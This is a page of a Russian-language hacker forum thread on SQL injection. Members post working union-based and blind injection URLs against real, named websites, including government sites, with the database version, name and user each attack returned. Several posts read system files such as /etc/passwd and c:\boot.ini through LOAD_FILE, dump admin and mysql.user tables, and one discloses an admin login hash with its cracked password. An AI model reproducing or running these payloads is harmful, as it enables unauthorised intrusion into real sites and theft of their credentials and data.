SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 431 of 798
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR6
    http://www.bridgesventures.com/news.php?newsID=54+AND+SUBSTRING((y() ),1,1)=x--/*



    y1=version
    y2=database
    y3=user

    x=Version : 3.23.49
    Database : db2780
    User : [email protected]
     
    #8601 Gorev, 1 Apr 2009
  2. Muhacir

    Muhacir Elder - Старейшина

    Joined:
    5 Oct 2006
    Messages:
    91
    Likes Received:
    51
    Reputations:
    -2
    pr4@5.0.37-standard-log
    Code:
    http://www.phoneslimited.co.uk/description.php?id=10802+union+select+version()/*
     
    #8602 Muhacir, 1 Apr 2009
  3. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR5
    http://www.asociatiait.ro/comunicate.php?NewsId=-36+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),useR()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*


    Database Version: 4.1.22-log
    Database name: apdetic
    User name: apdetic@localhost
     
    #8603 Gorev, 1 Apr 2009
  4. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    www.azw.at

    Code:
    http://www.azw.at/item.php?item_id=-1+union+all+select+0,1,2,3,4,5,6,7,8,9,concat_ws(0x3a,user(),version(),database()),11,12,13,14,15,16,17,18--+
    юзер/версия/бд:

    Code:
    	  nr00649_adm@localhost:5.0.32-Debian_7etch8-log:nr00649_db
     
    #8604 -m0rgan-, 1 Apr 2009
  5. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR5
    http://www.nationmultimedia.com/breakingnews/read.php?newsid=-30082501+union+select+1,convert(concat_ws(0x3a,version(),database(),user())+using+binary),3,4,5,6,7,8,9,10,11,12,13,14



    Database Version: 4.1.7-log
    Database name: nationnews
    User name: [email protected]
     
    #8605 Gorev, 1 Apr 2009
    1 person likes this.
  6. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    С первым апреля!!! Наконец я дома!

    Code:
    www.glenridgeposse.com/stats/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    glenridge@localhost:q3stats:5.0.51a-3ubuntu5.4-log

    Code:
    www.glenridgeposse.com/stats/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),2&config=cfg-default.php
    /etc/passwd
    file_priv=Y

    Code:
    gamez.proc.ru/q3-cpma/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    root@localhost:statq3cpma:5.0.45

    Code:
    gamez.proc.ru/q3-cpma/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),2&config=cfg-default.php
    /etc/passwd
    file_priv=Y

    Code:
    stats.ef-clan.org/fragland/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    [email protected]:fragland:5.0.32-Debian_7etch8-log

    Code:
    play.fuzzy76.net/statistics/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    vsp@localhost:vsp:5.0.67-0ubuntu6

    Code:
    objstats.tce-massa.com/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    obj0307@localhost:eek:bj0307:5.0.60-log

    Code:
    western.bsdmon.com/vsp/pub/themes/westernq3/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    vsp@localhost:westernvsp_dm:5.0.51

    Code:
    gry.isko.net.pl/statystyki/et27980/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    vspet27980@localhost:vsp27980:5.0.54-log
     
    #8606 mailbrush, 1 Apr 2009
  7. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR4
    http://scmsgroup.org/php/show_newsdetails.php?newsid=-49+union+select+1,2,concat_ws(0x3a,version(),database(),useR()),4,5,6,7,8,9


    Version : 4.1.22-community
    Database : db2522
    Use : [email protected]


    http://scmsgroup.org/php/show_newsdetails.php?newsid=-49+union+select+1,2,concat_ws(0x3a,username,userpassword),4,5,6,7,8,9+from+admin
     
    #8607 Gorev, 1 Apr 2009
  8. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    version: 4.1.22-community-max-nt-log
    database: inglor_fb
    user: [email protected]


    ___________________

    Department of tourism and Resorts of Georgia



    version: 5.0.67-community
    database: dotrgovg_tourism
    user: dotrgovg@localhost

    all tables:

    user:
    admin:

    name: admin
    password: ********* :)

    admin panel:

     
    #8608 erihtoney, 1 Apr 2009
    Last edited: 1 Apr 2009
    4 people like this.
  9. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR5
    два сайта на одной бд

    http://www.yourcommunicationnews.com/news_item.php?newsID=11176+AND+SUBSTRING((y()),1,1)=x


    http://www.yourindustrynews.com/index.php?region=1+AND+SUBSTRING((y() ),1,1)=x



    y1=version
    y2=database
    y3=user

    x=Version : 5.0.51
    Database : db_YourIndustryNews
    User : eastcoast@localhost
     
    #8609 Gorev, 1 Apr 2009
  10. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.vipaspa.it/de/news_scheda.php?idn=-1+union+all+select+0,convert(user()+using+latin1),convert(version()+using+latin1),convert(database()+using+latin1),4--+
    юзер/версия/бд:
    Code:
    [email protected]:4.1.16-standard-log:530220vipa
     
    #8610 -m0rgan-, 1 Apr 2009
  11. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR5
    http://www.sundaystandard.info/news/news_item.php?NewsID=3302&GroupID=3+and+substring(y(),1,1)=x

    y1=version
    y2=database
    y3=user


    x=Version: 5.0.67-community-log
    Database : sundaysf_ss
    User : sundaysf_ss@localhost
     
    #8611 Gorev, 1 Apr 2009
    1 person likes this.
  12. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    Target: www.nasr.com.au

    Evil link: http://www.nasr.com.au/release.asp?NewsId=-31152+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

    Version: 4.1.22-community-nt
    database: snet
    user: root@localhost
    OS: Windows Server 2003

    Чтение файлов:
    http://www.nasr.com.au/release.asp?NewsId=-31152+union+select+1,2,3,4,5,6,7,load_file(0x633a5c626f6f742e696e69),9,10,11,12,13,14,15,16,17,18,19,20,21--
    Где 0x633a5c626f6f742e696e69 - это c:\boot.ini в hex-представлении.
     
    #8612 InFlame, 1 Apr 2009
  13. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR5

    http://www.traffictechnologytoday.com/news.php?NewsID=-11440+union+select+1,2,3,concat_ws(0x3a,version(),database(),useR()),5,6,7,8,9,10


    Database Version: 4.1.15-Debian_0.dotdeb.4-log
    Database name: passenger
    User name: [email protected]

    PR6
    http://www.tropicalforesttrust.com/news-detail.php?newsid=-74+union+select+1,2,3,concat_ws(0x3a,version(),database(),useR()),5,6,7,8,9,10,11,12,13,14


    Database Version: 4.0.27-standard-log
    Database name: db200813045
    User name: [email protected]
     
    #8613 Gorev, 1 Apr 2009
  14. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.sottoilmare.it/archivionews.php?getid=-1+union+all+select+0,1,concat_ws(user(),version(),database()),3,4,5,6,7--+
    юзер/версия/бд:

    Code:
    [email protected]_it_data
    ----------------------------------------------------------------------

    Code:
    http://www.senor.es/ingles/ver_novedades.php?idn=-1+union+all+select+concat_ws(user(),version(),database()),1,2,3,4--
    юзер/версия/бд:

    Code:
    5.0.45-community-ntsenor_usuario@localhostsenorbd
    ---------------------------------------------------------------------

    Code:
    http://www.leadacidbatteryinfo.org/newsdetail.php?id=-1+union+all+select+0,1,concat_ws(user(),version(),database()),3,4,5,6,7,8,9,10--
    юзер/версия/бд:

    Code:
    5.0.4532908_user116602@lnh-util.bluehalo.myregisteredsite.com32908_leadacidbatteryinfoorg
    ----------------------------------------------------------------------------------------
    The End!
     
    #8614 -m0rgan-, 1 Apr 2009
    1 person likes this.
  15. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR6
    http://www.ethanol.org/news/index.php?newsid=-25+union+select+1,2,concat_ws(0x3a,version(),database(),useR()),4,5,6,7,8


    Database Version: 5.0.77-community
    Database name: ethanol_ethanol
    User name: ethanol_ethanol@localhost
     
    #8615 Gorev, 1 Apr 2009
    1 person likes this.
  16. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.uniteck.ru/?type=-560+union+select+1,2,3,concat_ ws(0x3a,version(),database(),user()),5,6,7,8--
    Database Version : 5.0.41-log
    Database name : uniteck
    User name : [email protected]


    админ :

    Code:
    http://www.uniteck.ru/?type=-560+union+select+1,2,3,concat_ws(0x3a,logi n,pass),5,6,7,8+from+user--
    Code:
    admin:683a6aad2b7543f113cf2ba32b42c2d8 - [COLOR=Red]1972oxa[/COLOR]
    вход с сайта
     
    #8616 f1ng3r, 1 Apr 2009
    Last edited: 1 Apr 2009
    3 people like this.
  17. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR5
    http://www.gaspowered.com/newsletters.php?newsID=20+AND+ASCII(SUBSTRING((select+y()),1,1))>x--

    y1=version
    y2=database
    y3=user

    x1=53,46,48,46,53,49,97,45,99,111,109,109,117,110,105,116,121,45,108,111,103
    x2=103,97,115,112,111,119,101,114
    x3=103,97,115,112,111,119,101,114,64,108,111,99,97,108,104,111,115,116

    Version : 5.0.51a-community-log
    Database : gaspower
    User : gaspower@localhost

    PR4
    http://www.ootpdevelopments.com/article.php?newsid=396+AND+SUBSTRING((y())1,1))=x

    x=Version : 5.0.26
    Database : misc
    User : ootpdevmisc@localhost
     
    #8617 Gorev, 1 Apr 2009
    1 person likes this.
  18. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.pna.gov.ph/index.php?idn=1&sid=&nid=1&rid=79746+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*
    version()4.0.20a-nt
    database():test
    user():root@localhost
    Code:
    http://www.pna.gov.ph/index.php?idn=1&sid=&nid=1&rid=79746+union+select+1,2,3,concat(user,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+mysql.user/*
    __
    Code:
    http://www.contraloriabarrancabermeja.gov.co/article.php?sid=5+union+select+1,2,3,4,5,6,7,8,9,10,11
     
    #8618 M.W.N.N., 1 Apr 2009
    Last edited: 1 Apr 2009
    1 person likes this.
  19. sarmat2009

    sarmat2009 New Member

    Joined:
    20 Mar 2009
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    http://www.ftsr.ru

    http://www.ftsr.ru/news.php?news_id=-1+union+select+1,2,concat(0x3a,da tabase(),0x3a,user(),0x3a,version()),4,5,6,7--

    ftsr139_2007
    [email protected]
    mysql 4.0.27-log
     
    #8619 sarmat2009, 1 Apr 2009
    Last edited: 1 Apr 2009
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR3
    http://www.comeraghcc.com/DisplayArticle.php?newsID=-216+union+select+1,concat_ws(0x3a,version(),database(),useR()),3,4,5,6,7,8

    Database Version: 5.0.51a-community
    Database name: comerag_Comeragh
    User name: comerag_cathal@localhost


    PR3
    http://architectureinc.com/news/index.php?newsid=-69+union+select+1,2,concat_ws(0x3a,version(),database(),useR()),4,5,6,7,8

    Database Version: 5.0.45
    Database name: architectureincdb
    User name: architectureinc@localhost


    PR3
    http://www.prairieberry.com/news/index.php?newsid=-19+union+select+1,2,concat_ws(0x3a,version(),database(),useR()),4,5,6,7,8,9


    Database Version: 5.0.45
    Database name: prairieberrydb
    User name: prairieberry@localhost
     
    #8620 Gorev, 1 Apr 2009
    Last edited: 1 Apr 2009
(You must log in or sign up to post here.)
Page 431 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.